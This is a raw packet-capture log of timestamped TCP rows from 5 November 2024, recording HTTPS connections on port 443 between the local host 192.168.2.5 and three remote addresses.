Nov 5, 2024 22:44:20.570205927 CET	49828	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.570241928 CET	443	49828	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.570301056 CET	49828	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.570449114 CET	49828	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.570466995 CET	443	49828	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.602602959 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.602667093 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.602720022 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.602865934 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.602876902 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.602895021 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.602899075 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.605609894 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.605626106 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.605832100 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.605832100 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.605853081 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.631653070 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.631691933 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.631736040 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.631829977 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.631844997 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.631854057 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.631859064 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.634289980 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.634315014 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.634376049 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.634484053 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.634494066 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.692183971 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.692260981 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.692274094 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.692316055 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.692775011 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.692816973 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.692822933 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.692862988 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.693952084 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.693989992 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.694041967 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.694827080 CET	49831	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.694865942 CET	443	49831	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.694950104 CET	49831	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.695175886 CET	49831	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.695188046 CET	443	49831	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.817763090 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.817900896 CET	49827	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.817915916 CET	49828	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.817945957 CET	49831	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.818519115 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.818538904 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.820458889 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.820692062 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.820698977 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.820703983 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.820728064 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.820791960 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.821023941 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.821053028 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.822051048 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.822062969 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.822082043 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.822510958 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.822518110 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.054364920 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.054851055 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.054878950 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.055341005 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.055346966 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.163572073 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.164067030 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.164099932 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.164639950 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.164645910 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.189798117 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.190006971 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.190077066 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.190114975 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.190114975 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.190134048 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.190145969 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.192969084 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.193003893 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.193068981 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.193192959 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.193206072 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.292048931 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.292112112 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.292650938 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.292678118 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.292690992 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.292701006 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.292706966 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.295408010 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.295438051 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.295597076 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.295736074 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.295749903 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.304440022 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.304600000 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.304645061 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.304740906 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.304754019 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.304794073 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.304799080 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.307245970 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.307257891 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.307426929 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.307589054 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.307598114 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.341345072 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.341846943 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.341865063 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.342694998 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.342701912 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.410623074 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.411174059 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.411201000 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.411685944 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.411690950 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.472273111 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.472409964 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.472608089 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.472645998 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.472665071 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.472675085 CET	49829	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.472678900 CET	443	49829	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.476749897 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.476788998 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.476876974 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.477056026 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.477070093 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.549273968 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.549318075 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.549392939 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.549618006 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.549634933 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.549643993 CET	49830	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.549648046 CET	443	49830	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.552720070 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.552764893 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.552845001 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.553023100 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.553039074 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.681128979 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.681201935 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.681791067 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.681835890 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.686247110 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.686465979 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.686901093 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.686953068 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.688684940 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.688692093 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.688890934 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.688935041 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.689390898 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.690063953 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.690071106 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.690280914 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.690331936 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.690619946 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:21.696578026 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:21.696633101 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:21.699073076 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:21.699080944 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:21.699280024 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:21.699438095 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:21.699673891 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:21.731329918 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.731329918 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:21.747324944 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:21.959151030 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.960968971 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.960987091 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:21.961469889 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:21.961474895 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.046871901 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.047475100 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.047485113 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.047533035 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.047615051 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.047641039 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.047758102 CET	443	49835	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.047806025 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.047821045 CET	49835	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.048326015 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.048362017 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.048422098 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.048496008 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.048516989 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.048568964 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.048736095 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.048747063 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.048923016 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.048933983 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.049026012 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.049424887 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.049433947 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.049886942 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.049890995 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.051572084 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.056716919 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.056724072 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.057071924 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.057079077 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.063064098 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.068563938 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.068569899 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.071480036 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.071521997 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.071551085 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.071712971 CET	443	49834	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.071770906 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.072010040 CET	49834	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.072012901 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.072046995 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.074501991 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.074672937 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.074691057 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.094183922 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.094405890 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.094512939 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.094712973 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.094719887 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.094769955 CET	49836	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.094774008 CET	443	49836	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.097398043 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.097404957 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.097479105 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.097603083 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.097613096 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.179111958 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.179267883 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.179327965 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.179439068 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.179446936 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.179470062 CET	49837	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.179472923 CET	443	49837	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.182502985 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.182516098 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.182574987 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.182718039 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.182728052 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.196949005 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.196995974 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.197233915 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.197310925 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.197315931 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.197325945 CET	49838	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.197330952 CET	443	49838	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.200167894 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.200175047 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.200253963 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.200443029 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.200452089 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.210247040 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.210427046 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.210488081 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.210498095 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.210536957 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.210763931 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.210772991 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.210829020 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.210865021 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.210875988 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.211071968 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.211184978 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.211189985 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.211653948 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.211687088 CET	443	49833	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.211772919 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.211801052 CET	49833	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.212451935 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.212460041 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.212523937 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.212732077 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.212740898 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.334228992 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.335022926 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.335048914 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.335728884 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.335736036 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.339533091 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.339735985 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.339807987 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.339848042 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.339854002 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.339862108 CET	49839	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.339864969 CET	443	49839	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.342271090 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.342319965 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.342396975 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.342530012 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.342549086 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.474087000 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.474240065 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.476452112 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.481935024 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.481957912 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.481988907 CET	49840	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.481997013 CET	443	49840	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.484536886 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.484555960 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.484762907 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.484961033 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.484967947 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.835654020 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.836150885 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.836167097 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.836643934 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.836648941 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.917176008 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.917272091 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.917814016 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.917875051 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.920175076 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.920255899 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.921117067 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.921123028 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.921325922 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.921379089 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.921644926 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.921654940 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.921768904 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.921986103 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.922039032 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.922329903 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:22.939214945 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.939764977 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.939774990 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.940257072 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.940265894 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.941817045 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.942079067 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.942085028 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.942435026 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.942439079 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.967334986 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:22.967353106 CET	443	49843	172.217.23.110	192.168.2.5
